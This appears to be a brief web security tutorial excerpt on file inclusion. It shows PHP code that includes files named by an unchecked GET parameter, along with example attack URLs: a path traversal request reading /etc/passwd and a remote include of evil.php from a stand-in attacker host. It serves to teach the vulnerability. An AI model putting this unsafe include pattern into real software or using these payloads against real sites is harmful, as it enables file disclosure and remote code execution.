File Inclusion
/*** Get the filename from a GET input* Example - http://example.com/?file=filename.php*/$file = $_GET['file'];β/*** Unsafely include the file* Example - filename.php*/include('directory/' . $file);http://example.com/?file=../../etc/passwd/*** Get the filename from a GET input* Example - http://example.com/?file=index.php*/$file = $_GET['file'];β/*** Unsafely include the file* Example - index.php*/include($file);http://example.com/?file=http://attacker.example.com/evil.phpLast updated